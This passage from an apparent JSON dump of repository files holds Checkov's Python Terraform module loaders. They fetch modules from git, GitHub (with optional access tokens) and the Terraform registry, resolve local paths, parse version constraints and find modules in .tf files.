    "content": "from __future__ import annotations\n\nimport os\nimport re\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.goget.github.get_git import GitGetter\nfrom checkov.terraform.module_loading.content import ModuleContent\n\nfrom checkov.terraform.module_loading.loader import ModuleLoader\n\nif TYPE_CHECKING:\n    from checkov.terraform.module_loading.module_params import ModuleParams\n\nDEFAULT_MODULE_SOURCE_PREFIX = \"git::https://\"\nGIT_USER_PATTERN = re.compile(r\"^(.*?@).*\")\n\n\n@dataclass(frozen=True)\nclass ModuleSource:\n    protocol: str\n    root_module: str\n    inner_module: str\n    version: str\n    username: str\n\n\nclass GenericGitLoader(ModuleLoader):\n    def __init__(self) -> None:\n        super().__init__()\n        self.module_source_prefix = DEFAULT_MODULE_SOURCE_PREFIX\n\n    @property\n    def module_source_prefix(self) -> str:\n        return self._module_source_prefix\n\n    @module_source_prefix.setter\n    def module_source_prefix(self, prefix: str) -> None:\n        self._module_source_prefix = prefix\n\n    def discover(self, module_params: ModuleParams) -> None:\n        module_params.vcs_base_url = os.getenv(\"VCS_BASE_URL\", \"\")  # format - https://example.com\n        module_params.module_source_prefix = f\"git::{module_params.vcs_base_url}\" if module_params.vcs_base_url else None\n        module_params.username = os.getenv(\"VCS_USERNAME\", None)\n        module_params.token = os.getenv(\"VCS_TOKEN\", None)\n\n    def _is_matching_loader(self, module_params: ModuleParams) -> bool:\n        module_source_prefix = module_params.module_source_prefix if module_params.module_source_prefix else self.module_source_prefix\n        if module_params.module_source.startswith(module_source_prefix):\n            source = module_params.module_source.split(DEFAULT_MODULE_SOURCE_PREFIX)[-1]\n            if module_params.token and module_params.username:\n                module_params.module_source = f\"{DEFAULT_MODULE_SOURCE_PREFIX}{module_params.username}:{module_params.token}@{source}\"\n            else:\n                module_params.module_source = f\"{DEFAULT_MODULE_SOURCE_PREFIX}{source}\"\n            return True\n        # https://www.terraform.io/docs/modules/sources.html#generic-git-repository\n        return module_params.module_source.startswith(\"git::\") and not module_params.module_source.startswith(\"git::git@github.com\")\n\n    def _load_module(self, module_params: ModuleParams) -> ModuleContent:\n        try:\n            self._process_generic_git_repo(module_params)\n            module_source = module_params.module_source.replace(\"git::\", \"\")\n            git_getter = GitGetter(module_source, create_clone_and_result_dirs=False)\n            git_getter.temp_dir = module_params.dest_dir\n            git_getter.do_get()\n        except Exception as e:\n            str_e = str(e)\n            if os.getenv(\"GITHUB_PAT\") and not module_params.token and \"could not read Username for\" in str_e:\n                # we probably try to access a private repository, but a GITHUB_PAT was set,\n                # but the current loader (ex. GithubLoader) is not using it\n                return ModuleContent(dir=None, failed_url=module_params.module_source)\n            if 'File exists' not in str_e and 'already exists and is not an empty directory' not in str_e:\n                self.logger.warning(f\"failed to get {module_params.module_source} in git loader because of {e}\")\n                return ModuleContent(dir=None, failed_url=module_params.module_source)\n        return_dir = module_params.dest_dir\n        self.logger.info(f'finished loading {module_params.module_source}')\n        if module_params.inner_module:\n            return_dir = os.path.join(module_params.dest_dir, module_params.inner_module)\n        return ModuleContent(dir=return_dir)\n\n    def _find_module_path(self, module_params: ModuleParams) -> str:\n        module_source = self._parse_module_source(module_params)\n        module_path = Path(module_params.root_dir).joinpath(\n            module_params.external_modules_folder_name,\n            module_source.root_module,\n            module_source.version,\n            module_source.inner_module,\n        )\n\n        if module_params.inner_module:\n            module_path = module_path / module_params.inner_module\n\n        return str(module_path)\n\n    def _parse_module_source(self, module_params: ModuleParams) -> ModuleSource:\n        module_source_components = module_params.module_source.split(\"//\")\n\n        if \"?ref=\" in module_source_components[-1]:\n            module_version_components = module_source_components[-1].rsplit(\"?ref=\", maxsplit=1)\n            module_source_components[-1] = module_version_components[0]\n            version = module_version_components[1]\n        else:\n            version = \"HEAD\"\n\n        if len(module_source_components) < 3:\n            if len(module_source_components) == 2 and \"git::git\" in module_source_components[0]:\n                # Handling the use case of `git::git@github.com:test-inner-module/out-module//inner-module`\n                root_module = module_source_components[-2]\n                inner_module = module_source_components[-1]\n            else:\n                # Handling the use case of `git::<any-protocol>@github.com:test-no-inner-module/out-module`\n                root_module = module_source_components[-1]\n                inner_module = \"\"\n        elif len(module_source_components) == 3:\n            # Handling the use case of `git::<any-protocol>://github.com:test-inner-module/out-module//inner-module`\n            root_module = module_source_components[1]\n            inner_module = module_source_components[2]\n        else:\n            raise Exception(\"invalid git url\")\n\n        username = None\n        if \"@\" in root_module:\n            username = re.match(GIT_USER_PATTERN, root_module)\n            if username and username[1] != \"git@\":\n                root_module = root_module.replace(username[1], \"\")\n\n        if root_module.endswith(\".git\"):\n            root_module = root_module[:-4]\n\n        return ModuleSource(\n            protocol=module_source_components[0], root_module=root_module, inner_module=inner_module, version=version,\n            username=username[1] if username and username[1] != \"git@\" else \"\"\n        )\n\n    def _process_generic_git_repo(self, module_params: ModuleParams) -> None:\n        module_source = self._parse_module_source(module_params)\n\n        if module_source.inner_module:\n            module_params.dest_dir = str(\n                Path(module_params.root_dir).joinpath(\n                    module_params.external_modules_folder_name, module_source.root_module, module_source.version\n                )\n            )\n            module_params.inner_module = module_source.inner_module\n            module_params.module_source = f\"{module_source.protocol}//{module_source.root_module}\"\n            if module_source.username:\n                module_params.module_source = f\"{module_source.protocol}//{module_source.username}{module_source.root_module}\"\n            if module_source.version != \"HEAD\":\n                module_params.module_source += f\"?ref={module_source.version}\"\n        else:\n            module_params.dest_dir = str(\n                Path(module_params.root_dir).joinpath(\n                    module_params.external_modules_folder_name, module_source.root_module, module_source.version\n                )\n            )\n\n\nloader = GenericGitLoader()\n"
  },
  {
    "path": "checkov/terraform/module_loading/loaders/github_access_token_loader.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom typing import TYPE_CHECKING\n\nfrom checkov.terraform.module_loading.loaders.git_loader import GenericGitLoader\n\nif TYPE_CHECKING:\n    from checkov.terraform.module_loading.module_params import ModuleParams\n\n\nclass GithubAccessTokenLoader(GenericGitLoader):\n    def discover(self, module_params: ModuleParams) -> None:\n        self.module_source_prefix = \"github.com\"\n        module_params.username = \"x-access-token\"\n        module_params.token = os.getenv('GITHUB_PAT', '')\n\n    def _is_matching_loader(self, module_params: ModuleParams) -> bool:\n        if module_params.token:\n            # if GITHUB_PAT is set and previous loaders failed, convert source (github ssh or github http or generic git)\n            # to use the token in generic format git::https://x-access-token:<token>@github.com/org/repo.git\n            self.logger.debug(\"GITHUB_PAT found. Attempting to clone module using HTTP basic authentication.\")\n            # if module_source = github.com/org/repo\n            if module_params.module_source.startswith(self.module_source_prefix):\n                module_params.module_source = f\"git::https://{module_params.username}:{module_params.token}@{module_params.module_source}\"\n                return True\n            # if module_source = git::https://github.com/org/repo.git\n            if module_params.module_source.startswith(f\"git::https://{self.module_source_prefix}\"):\n                module_params.module_source = f\"git::https://{module_params.username}:{module_params.token}@{module_params.module_source.split('git::https://')[1]}\"\n                return True\n            # if module_source = git@github.com:org/repo.git\n            if module_params.module_source.startswith(f\"git@{self.module_source_prefix}:\"):\n                module_params.module_source = f\"git::https://{module_params.username}:{module_params.token}@{module_params.module_source.split('git@')[1].replace(':', '/')}\"\n                return True\n            # if module_source = git::ssh://git@github.com/org/repo.git\n            if module_params.module_source.startswith(f\"git::ssh://git@{self.module_source_prefix}\"):\n                module_params.module_source = f\"git::https://{module_params.username}:{module_params.token}@{module_params.module_source.split('git::ssh://git@')[1]}\"\n                return True\n\n        return False\n\n\nloader = GithubAccessTokenLoader()\n"
  },
  {
    "path": "checkov/terraform/module_loading/loaders/github_loader.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.terraform.module_loading.loaders.git_loader import GenericGitLoader\n\nif TYPE_CHECKING:\n    from checkov.terraform.module_loading.module_params import ModuleParams\n\n\nclass GithubLoader(GenericGitLoader):\n    def discover(self, module_params: ModuleParams) -> None:\n        self.module_source_prefix = \"github.com\"\n\n    def _is_matching_loader(self, module_params: ModuleParams) -> bool:\n        # https://www.terraform.io/docs/modules/sources.html#github\n        if module_params.module_source.startswith(self.module_source_prefix):\n            module_params.module_source = f\"git::https://{module_params.module_source}\"\n            return True\n        if module_params.module_source.startswith(f\"git@{self.module_source_prefix}\"):\n            source = module_params.module_source.replace(\":\", \"/\")\n            module_params.module_source = f\"git::ssh://{source}\"\n            return True\n        # We should treat git::git@github.com:... the same as git@github.com:...\n        if module_params.module_source.startswith(f\"git::git@{self.module_source_prefix}\"):\n            source = module_params.module_source.replace(\"git::\", \"\")\n            source = source.replace(\":\", \"/\")\n            module_params.module_source = f\"git::ssh://{source}\"\n            return True\n        return False\n\n\nloader = GithubLoader()\n"
  },
  {
    "path": "checkov/terraform/module_loading/loaders/local_path_loader.py",
    "content": "from __future__ import annotations\n\nimport os\nimport platform\nimport re\nimport logging\nfrom typing import TYPE_CHECKING\n\nfrom checkov.terraform.module_loading.content import ModuleContent\nfrom checkov.terraform.module_loading.loader import ModuleLoader\n\nif TYPE_CHECKING:\n    from checkov.terraform.module_loading.module_params import ModuleParams\n\nWINDOWS_MODULE_SOURCE_PATH_PATTERN = re.compile(\"[a-zA-Z]:\\\\\\\\\")\n\n\nclass LocalPathLoader(ModuleLoader):\n    def __init__(self) -> None:\n        super().__init__()\n        self.is_external = False\n\n    def discover(self, module_params: ModuleParams) -> None:\n        pass\n\n    def _is_matching_loader(self, module_params: ModuleParams) -> bool:\n        if module_params.tf_managed:\n            # Terraform managed modules are already downloaded and can be handled as local modules\n            return True\n\n        if module_params.module_source.startswith((\"./\", \"../\", module_params.current_dir, \"/\")):\n            return True\n\n        if platform.system() == \"Windows\":\n            logging.debug(\"Platform: Windows\")\n            if re.match(WINDOWS_MODULE_SOURCE_PATH_PATTERN, module_params.module_source):\n                return True\n\n        return False\n\n    def _load_module(self, module_params: ModuleParams) -> ModuleContent:\n        module_path = os.path.normpath(os.path.join(module_params.current_dir, module_params.module_source))\n        if module_params.module_source.startswith(module_params.current_dir):\n            module_path = module_params.module_source\n        if not os.path.exists(module_path):\n            raise FileNotFoundError(module_path)\n\n        return ModuleContent(module_path)\n\n    def _find_module_path(self, module_params: ModuleParams) -> str:\n        # to determine the exact path here would mimic _load_module()\n        return \"\"\n\n\nloader = LocalPathLoader()\n"
  },
  {
    "path": "checkov/terraform/module_loading/loaders/registry_loader.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom http import HTTPStatus\nfrom typing import List, Dict, TYPE_CHECKING\n\nimport requests\nfrom requests.exceptions import HTTPError\nfrom urllib.parse import urljoin\nfrom urllib.parse import urlparse\n\nfrom checkov.common.models.consts import TFC_HOST_NAME\nfrom checkov.common.goget.registry.get_registry import RegistryGetter\nfrom checkov.common.util.http_utils import DEFAULT_TIMEOUT\nfrom checkov.terraform.module_loading.content import ModuleContent\nfrom checkov.terraform.module_loading.loader import ModuleLoader\nfrom checkov.terraform.module_loading.loaders.versions_parser import (\n    order_versions_in_descending_order,\n    get_version_constraints\n)\nfrom checkov.common.proxy.proxy_client import call_http_request_with_proxy\n\nif TYPE_CHECKING:\n    from checkov.terraform.module_loading.module_params import ModuleParams\n\n# https://developer.hashicorp.com/terraform/language/modules/sources#fetching-archives-over-http\nMODULE_ARCHIVE_EXTENSIONS = [\"zip\", \"tar.bz2\", \"tar.gz\", \"tgz\", \"tar.xz\", \"txz\"]\n\n\nclass RegistryLoader(ModuleLoader):\n    modules_versions_cache: Dict[str, List[str]] = {}  # noqa: CCE003  # public data\n\n    def __init__(self) -> None:\n        super().__init__()\n\n    def discover(self, module_params: ModuleParams) -> None:\n        module_params.tf_host_name = os.getenv(\"TF_HOST_NAME\", TFC_HOST_NAME)\n        module_params.token = os.getenv(\"TF_REGISTRY_TOKEN\", \"\")\n        tfc_token = os.getenv(\"TFC_TOKEN\")\n        if tfc_token:\n            self.logger.warn(\"Environment variable TFC_TOKEN will be deprecated in the future. Please use TF_REGISTRY_TOKEN instead.\")\n            module_params.token = tfc_token\n\n    def _is_matching_loader(self, module_params: ModuleParams) -> bool:\n        # https://developer.hashicorp.com/terraform/language/modules/sources#github\n        if module_params.module_source.startswith((\"/\", \"github.com\", \"bitbucket.org\", \"git::\", \"git@github.com\")):\n            return False\n        self._process_inner_registry_module(module_params)\n        # determine tf api endpoints\n        self._determine_tf_api_endpoints(module_params)\n        # If versions for a module are cached, determine the best version and return True.\n        # If versions are not cached, get versions, then determine the best version and return True.\n        # Best version needs to be determined here for setting most accurate dest_dir.\n        if module_params.tf_modules_versions_endpoint in RegistryLoader.modules_versions_cache.keys():\n            module_params.best_version = self._find_best_version(module_params)\n            return True\n        if not self._cache_available_versions(module_params):\n            return False\n        module_params.best_version = self._find_best_version(module_params)\n        if not module_params.inner_module and module_params.tf_host_name:\n            module_params.dest_dir = os.path.join(module_params.root_dir, module_params.external_modules_folder_name,\n                                                  module_params.tf_host_name, *module_params.module_source.split(\"/\"),\n                                                  module_params.best_version)\n        if os.path.exists(module_params.dest_dir):\n            return True\n        # verify cache again after refresh\n        if module_params.tf_modules_versions_endpoint in RegistryLoader.modules_versions_cache.keys():\n            return True\n        return False\n\n    def _load_module(self, module_params: ModuleParams) -> ModuleContent:\n        if module_params.best_version:\n            best_version = module_params.best_version\n        else:\n            if self._cache_available_versions(module_params):\n                module_params.best_version = self._find_best_version(module_params)\n        if os.path.exists(module_params.dest_dir):\n            # If there's an inner module, return the path to the inner module directory\n            # instead of the base dest_dir. This fixes an issue where multiple modules\n            # from the same base source but different inner modules would all return\n            # the base directory, causing only the first module to be scanned.\n            # This issue only occurs on Linux because Windows uses MD5 hashes for paths,\n            # which creates unique directories for each full module source.\n            if module_params.inner_module:\n                return ModuleContent(dir=os.path.join(module_params.dest_dir, module_params.inner_module))\n            return ModuleContent(dir=module_params.dest_dir)\n        elif not module_params.tf_modules_endpoint:\n            return ModuleContent(dir=None)\n\n        request_download_url = urljoin(module_params.tf_modules_endpoint, \"/\".join((module_params.module_source, best_version, \"download\")))\n        self.logger.debug(f\"Best version for {module_params.module_source} is {best_version} based on the version constraint {module_params.version}.\")\n        self.logger.debug(f\"Module download url: {request_download_url} and proxy: {os.getenv('PROXY_URL')}\")\n        try:\n            request = requests.Request(\n                method='GET',\n                url=request_download_url,\n                headers={\"Authorization\": f\"Bearer {module_params.token}\"} if module_params.token else None\n            )\n            if os.getenv('PROXY_URL'):\n                self.logger.info(f'Sending request to {request.url} through proxy')\n                response = call_http_request_with_proxy(request)\n            else:\n                session = requests.Session()\n                prepared_request = session.prepare_request(request)\n                response = session.send(prepared_request, timeout=DEFAULT_TIMEOUT)\n\n            response.raise_for_status()\n        except HTTPError as e:\n            self.logger.warning(e)\n            if response.status_code != HTTPStatus.OK and response.status_code != HTTPStatus.NO_CONTENT:\n                return ModuleContent(dir=None)\n        # https://www.terraform.io/registry/api-docs#download-source-code-for-a-specific-module-version\n        module_download_url = response.headers.get('X-Terraform-Get', '')\n        self.logger.debug(f\"X-Terraform-Get: {module_download_url}\")\n        module_download_url = self._normalize_module_download_url(module_params, module_download_url)\n        self.logger.debug(f\"Cloning module from normalized url {module_download_url}\")\n        archive_extension = self._get_archive_extension(module_download_url)\n        if archive_extension:\n            try:\n                registry_getter = RegistryGetter(module_download_url, archive_extension)\n                registry_getter.temp_dir = module_params.dest_dir\n                registry_getter.do_get()\n                return_dir = module_params.dest_dir\n            except Exception as e:\n                str_e = str(e)\n                if 'File exists' not in str_e and 'already exists and is not an empty directory' not in str_e:\n                    self.logger.error(f\"failed to get {module_params.module_source} in registry loader because of {e}\")\n                    return ModuleContent(dir=None, failed_url=module_params.module_source)\n            if module_params.inner_module:\n                return_dir = os.path.join(module_params.dest_dir, module_params.inner_module)\n            return ModuleContent(dir=return_dir)\n        else:\n            return ModuleContent(dir=None, next_url=response.headers.get(\"X-Terraform-Get\", \"\"))\n\n    def _find_module_path(self, module_params: ModuleParams) -> str:\n        # to determine the exact path here would be almost a duplicate of the git_loader functionality\n        return \"\"\n\n    def _find_best_version(self, module_params: ModuleParams) -> str:\n        versions_by_size = RegistryLoader.modules_versions_cache.get(module_params.tf_modules_versions_endpoint, [])  # type:ignore[arg-type]  # argument can be None\n        if module_params.version == \"latest\":\n            module_params.version = versions_by_size[0]\n        elif module_params.version is None:\n            return \"latest\"\n\n        version_constraints = get_version_constraints(module_params.version)\n        num_of_matches = 0\n        for version in versions_by_size:\n            for version_constraint in version_constraints:\n                if not version_constraint.versions_matching(version):\n                    break\n                else:\n                    num_of_matches += 1\n            if num_of_matches == len(version_constraints):\n                return version\n            else:\n                num_of_matches = 0\n        return \"latest\"\n\n    def _cache_available_versions(self, module_params: ModuleParams) -> bool:\n        # Get all available versions for a module in the registry and cache them.\n        # Returns False on failure.\n        if not module_params.tf_modules_versions_endpoint:\n            return False\n\n        try:\n            request = requests.Request(\n                method='GET',\n                headers={\"Authorization\": f\"Bearer {module_params.token}\"} if module_params.token else None,\n                url=module_params.tf_modules_versions_endpoint\n            )\n            if os.getenv('PROXY_URL'):\n                self.logger.info(f'Sending request to {request.url} through proxy')\n                response = call_http_request_with_proxy(request)\n            else:\n                session = requests.Session()\n                prepared_request = session.prepare_request(request)\n                response = session.send(prepared_request, timeout=DEFAULT_TIMEOUT)\n            response.raise_for_status()\n            available_versions = [\n                v.get(\"version\") for v in response.json().get(\"modules\", [{}])[0].get(\"versions\", {})\n            ]\n            RegistryLoader.modules_versions_cache[module_params.tf_modules_versions_endpoint] = order_versions_in_descending_order(\n                available_versions)\n            return True\n        except HTTPError as e:\n            self.logger.debug(e)\n            return False\n\n    def _process_inner_registry_module(self, module_params: ModuleParams) -> None:\n        # Check if the source has '//' in it. If it does, it indicates a reference for an inner module.\n        # Example: \"terraform-aws-modules/security-group/aws//modules/http-80\" =>\n        #    module_source = terraform-aws-modules/security-group/aws\n        #    dest_dir = modules/http-80\n        module_source_components = module_params.module_source.split(\"//\")\n        if len(module_source_components) > 1:\n            module_params.module_source = module_source_components[0]\n            module_params.dest_dir = module_params.dest_dir.split(\"//\")[0]\n            module_params.inner_module = module_source_components[1]\n\n    def _determine_tf_api_endpoints(self, module_params: ModuleParams) -> None:\n        \"\"\"\n        Determines terraform registry endpoints - tf_host_name, tf_modules_endpoint, tf_modules_versions_endpoint\n        \"\"\"\n        if module_params.tf_host_name and module_params.module_source.startswith(module_params.tf_host_name):\n            # check if module source supports native Terraform services\n            # https://www.terraform.io/internals/remote-service-discovery#remote-service-discovery\n            module_params.module_source = module_params.module_source.replace(f\"{module_params.tf_host_name}/\", \"\")\n            try:\n                request = requests.Request(\n                    method='GET',\n                    url=f\"https://{module_params.tf_host_name}/.well-known/terraform.json\"\n                )\n                if os.getenv('PROXY_URL'):\n                    self.logger.info(f'Sending request to {request.url} through proxy')\n                    response = call_http_request_with_proxy(request)\n                else:\n                    session = requests.Session()\n                    prepared_request = session.prepare_request(request)\n                    response = session.send(prepared_request, timeout=DEFAULT_TIMEOUT)\n                response.raise_for_status()\n            except HTTPError as e:\n                self.logger.debug(e)\n                if response.status_code != HTTPStatus.OK and response.status_code != HTTPStatus.NO_CONTENT:\n                    return None\n\n            self.logger.debug(f\"Service discovery response: {response.json()}\")\n            module_params.tf_modules_endpoint = self._normalize_module_download_url(module_params, response.json().get('modules.v1'))\n        else:\n            # use terraform cloud host name and url for the public registry\n            module_params.tf_host_name = TFC_HOST_NAME\n            module_params.tf_modules_endpoint = \"https://registry.terraform.io/v1/modules/\"\n\n        # assume module_params.tf_modules_endpoint ends with a slash as per https://developer.hashicorp.com/terraform/internals/module-registry-protocol#service-discovery\n        module_params.tf_modules_versions_endpoint = urljoin(module_params.tf_modules_endpoint, \"/\".join((module_params.module_source, \"versions\")))\n\n    def _normalize_module_download_url(self, module_params: ModuleParams, module_download_url: str) -> str:\n        if not urlparse(module_download_url).netloc:\n            module_download_url = f\"https://{module_params.tf_host_name}{module_download_url}\"\n        return module_download_url\n\n    @staticmethod\n    def _get_archive_extension(module_download_url: str) -> str | None:\n        module_download_path = urlparse(module_download_url).path\n        for extension in MODULE_ARCHIVE_EXTENSIONS:\n            if module_download_path.endswith(extension):\n                return extension\n        query_params_str = urlparse(module_download_url).query\n        if query_params_str:\n            query_params = query_params_str.split(\"&\")\n            for query_param in query_params:\n                if query_param.startswith(\"archive=\"):\n                    return query_params_str.split(\"=\")[1]\n        return None\n\n\nloader = RegistryLoader()\n"
  },
  {
    "path": "checkov/terraform/module_loading/loaders/versions_parser.py",
    "content": "from __future__ import annotations\n\nimport re\nfrom typing import List, Dict, Optional, cast, Callable\n\nfrom checkov.common.packaging import version\n\nVERSION_REGEX = re.compile(r\"^(?P<operator>=|!=|>=|>|<=|<|~>)?\\s*(?P<version>[\\d.]+-?\\w*)$\")\n\n\nclass VersionConstraint:\n    \"\"\"\n    A class representing a module version. Enables comparing versions.\n    \"\"\"\n\n    def __init__(self, constraint_parts: Dict[str, Optional[str]]) -> None:\n        \"\"\"\n        :param constraint_parts: a dictionary representing a version constraint: {\"version\": \"v1.2.3\", \"operator\": \">=\"}\n        \"\"\"\n        self.version = cast(\"version.Version\", version.parse(constraint_parts.get(\"version\") or \"\"))\n        self.operator = constraint_parts.get(\"operator\") or \"=\"\n\n    def get_max_version_for_most_specific_segment(self) -> version.Version:\n        return cast(\"version.Version\", version.parse(f\"{self.version.major + 1}.0.0\"))\n\n    def versions_matching(self, other_version_str: str) -> bool:\n        other_version = cast(\"version.Version\", version.parse(other_version_str))\n        version_matchers: dict[str, Callable[[version.Version], bool]] = {\n            \"=\": lambda other: other == self.version,\n            \"!=\": lambda other: other != self.version,\n            \">\": lambda other: other > self.version,\n            \">=\": lambda other: other >= self.version,\n            \"<\": lambda other: other < self.version,\n            \"<=\": lambda other: other <= self.version,\n            \"~>\": lambda other: self.version <= other < self.get_max_version_for_most_specific_segment(),\n        }\n        return version_matchers[self.operator](other_version)\n\n    def __str__(self) -> str:\n        return f\"{self.operator}{self.version}\"\n\n\ndef get_version_constraints(raw_version: str) -> List[VersionConstraint]:\n    \"\"\"\n    :param raw_version: A string representation of a version, e.g: \"~> v1.2.3\"\n    :return: VersionConstraint instance\n    \"\"\"\n    raw_version = raw_version.replace(\" \", \"\")\n    raw_version_constraints = raw_version.split(\",\")\n    version_constraints = []\n    for constraint in raw_version_constraints:\n        match = re.search(VERSION_REGEX, constraint)\n        if match:\n            constraint_parts = match.groupdict()\n            version_constraints.append(VersionConstraint(constraint_parts))\n    return version_constraints\n\n\ndef order_versions_in_descending_order(versions_strings: List[str]) -> List[str]:\n    \"\"\"\n    :param versions_strings: array of string versions: [\"v1.2.3\", \"v1.2.4\"...]\n    :return: A sorted array of versions in descending order\n    \"\"\"\n    for iter_num in range(len(versions_strings) - 1, 0, -1):\n        for idx in range(iter_num):\n            if version.parse(versions_strings[idx]) < version.parse(versions_strings[idx + 1]):\n                temp = versions_strings[idx]\n                versions_strings[idx] = versions_strings[idx + 1]\n                versions_strings[idx + 1] = temp\n    return versions_strings\n"
  },
  {
    "path": "checkov/terraform/module_loading/module_finder.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nimport os\nimport re\nfrom pathlib import Path\nfrom typing import List, Callable, TYPE_CHECKING, Any, Optional, Dict\n\nfrom checkov.common.util.env_vars_config import env_vars_config\nfrom checkov.common.parallelizer.parallel_runner import parallel_runner\nfrom checkov.terraform.module_loading.registry import module_loader_registry\nfrom checkov.terraform.parser_utils import load_or_die_quietly\n\nif TYPE_CHECKING:\n    from checkov.terraform.module_loading.registry import ModuleLoaderRegistry\n\n\nclass ModuleDownload:\n    def __init__(self, source_dir: str) -> None:\n        self.source_dir = source_dir\n        self.address: str | None = None\n        self.module_name: str | None = None\n        self.module_link: str | None = None\n        self.tf_managed = False\n        self.version: str | None = None\n\n    def __str__(self) -> str:\n        return f\"{self.source_dir} -> {self.module_link} ({self.version})\"\n\n\ndef find_tf_managed_modules(path: str) -> List[ModuleDownload]:\n    \"\"\"\n    Leverage modules.json to better inform discovery. If we have this,\n    there should be no need to walk and gather modules.\n    \"\"\"\n    modules_found: list[ModuleDownload] = []\n\n    tf_modules_file = Path(path) / '.terraform' / 'modules' / 'modules.json'\n    if not tf_modules_file.exists():\n        return modules_found\n\n    for mod in json.loads(tf_modules_file.read_bytes())['Modules']:\n        if mod['Key']:\n            md = ModuleDownload(path)\n            md.module_name = mod['Key']\n            md.module_link = mod['Dir']\n            md.version = mod['Version'] if 'Version' in mod else 'latest'\n            md.address = f\"{mod['Source']}:{md.version}\"\n            md.tf_managed = True\n            modules_found.append(md)\n    return modules_found\n\n\ndef find_modules(path: str, loaded_files_cache: Optional[Dict[str, Any]] = None,\n                 parsing_errors: Optional[Dict[str, Exception]] = None, excluded_paths: Optional[list[str]] = None) -> list[ModuleDownload]:\n    modules_found: list[ModuleDownload] = []\n    if loaded_files_cache is None:\n        loaded_files_cache = {}\n    if parsing_errors is None:\n        parsing_errors = {}\n\n    excluded_paths_regex = re.compile('|'.join(f\"({excluded_paths})\")) if excluded_paths else None\n    for root, _, full_file_names in os.walk(path):\n        for file_name in full_file_names:\n            if not file_name.endswith(\".tf\"):\n                continue\n            if root.startswith(os.path.join(path, \".terraform\", \"modules\")):\n                # don't scan the modules folder used by Terraform\n                continue\n            file_path = os.path.join(root, file_name)\n            if excluded_paths_regex and excluded_paths_regex.search(file_path):\n                continue\n\n            data = load_or_die_quietly(file_path, parsing_errors)\n            if not data:\n                continue\n\n            loaded_files_cache[file_path] = data\n            if \"module\" not in data:\n                continue\n            for module in data[\"module\"]:\n                for module_name, module_data in module.items():\n                    md = ModuleDownload(os.path.dirname(file_path))\n                    md.module_name = module_name\n                    md.module_link = module_data.get(\"source\", [None])[0]\n                    md.version = module_data.get(\"version\", [None])[0]\n                    if md.module_link:\n                        md.address = f\"{md.module_link}:{md.version}\" if md.version else md.module_link\n                    modules_found.append(md)\n    return modules_found\n\n\ndef should_download(path: str | None) -> bool:\n    return path is not None and not (path.startswith('./') or path.startswith('../') or path.startswith('/'))\n\n\ndef load_tf_modules(\n    path: str,\n    should_download_module: Callable[[str | None], bool] = should_download,\n    run_parallel: bool = False,\n    modules_to_load: List[ModuleDownload] | None = None,\n    stop_on_failure: bool = False,\n    loaded_files_cache: dict[str, Any] | None = None,\n    parsing_errors: dict[str, Exception] | None = None,\n    excluded_paths: List[str] | None = None,\n) -> None:\n    module_loader_registry.root_dir = path\n    if not modules_to_load and env_vars_config.CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES:\n        modules_to_load = find_tf_managed_modules(path)\n    if not modules_to_load:\n        modules_to_load = find_modules(path, loaded_files_cache=loaded_files_cache, parsing_errors=parsing_errors, excluded_paths=excluded_paths)\n\n    # To avoid duplicate work, we need to get the distinct module sources\n    distinct_modules = list({m.address: m for m in modules_to_load}.values())\n\n    downloadable_modules = [\n        (module_loader_registry, m)\n        for m in distinct_modules if should_download_module(m.module_link)\n    ]\n\n    if run_parallel:\n        list(parallel_runner.run_function(_download_module, downloadable_modules))\n    else:\n        logging.info(f\"Starting download of modules of length {len(downloadable_modules)}\")\n        for m in downloadable_modules:\n            success = _download_module(*m)\n            if not success and stop_on_failure:\n                logging.info(f\"Stopping downloading of modules due to failed attempt on {m[1].address}\")\n                break\n\n\ndef _download_module(ml_registry: ModuleLoaderRegistry, module_download: ModuleDownload) -> bool:\n    logging.info(f'Downloading module {module_download.address}')\n    try:\n        content = ml_registry.load(\n            current_dir=module_download.source_dir,\n            source=module_download.module_link,\n            source_version=\"latest\" if not module_download.version else module_download.version,\n            module_address=module_download.address,\n            tf_managed=module_download.tf_managed,\n        )\n        if content is None or not content.loaded():\n            if ml_registry.download_external_modules is not False:\n                log_message = f'Failed to download module {module_download.address}'\n                if ml_registry.download_external_modules is None:\n                    log_message += ' (for external modules, the --download-external-modules flag is required)'\n                logging.warning(log_message)\n            return False\n    except Exception as e:\n        logging.warning(f\"Unable to load module ({module_download.address}): {e}\")\n        return False\n\n    return True\n"
  },
  {
    "path": "checkov/terraform/module_loading/module_params.py",
    "content": "from dataclasses import dataclass\nfrom typing import Optional\n\n\n@dataclass\nclass ModuleParams:\n    def __init__(\n        self,\n        root_dir: str,\n        current_dir: str,\n        source: str,\n        source_version: Optional[str],\n        dest_dir: str,\n        external_modules_folder_name: str,\n        inner_module: Optional[str] = None,\n        tf_managed: bool = False,\n    ):\n        self.root_dir: str = root_dir\n        self.current_dir: str = current_dir\n        self.module_source: str = source\n        self.version: Optional[str] = source_version\n        self.dest_dir: str = dest_dir\n        self.external_modules_folder_name: str = external_modules_folder_name\n        self.inner_module: Optional[str] = inner_module\n        self.tf_managed = tf_managed\n\n        self.token: Optional[str] = None\n        self.username: Optional[str] = None\n        self.vcs_base_url: Optional[str] = None\n        self.module_source_prefix: Optional[str] = None\n        self.best_version: Optional[str] = None\n\n        # terraform cloud / enterprise specific params\n        self.tf_host_name: Optional[str] = None\n        self.tf_modules_endpoint: Optional[str] = None\n        self.tf_modules_versions_endpoint: Optional[str] = None\n"
  },
  {
    "path": "checkov/terraform/module_loading/registry.py",
